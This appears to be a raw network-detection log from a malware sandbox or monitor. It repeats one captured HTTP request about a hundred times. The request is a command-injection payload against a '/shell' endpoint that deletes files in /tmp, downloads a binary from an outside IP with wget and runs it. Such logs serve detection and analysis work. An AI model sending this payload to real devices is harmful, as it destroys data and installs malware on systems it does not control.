              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
              Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
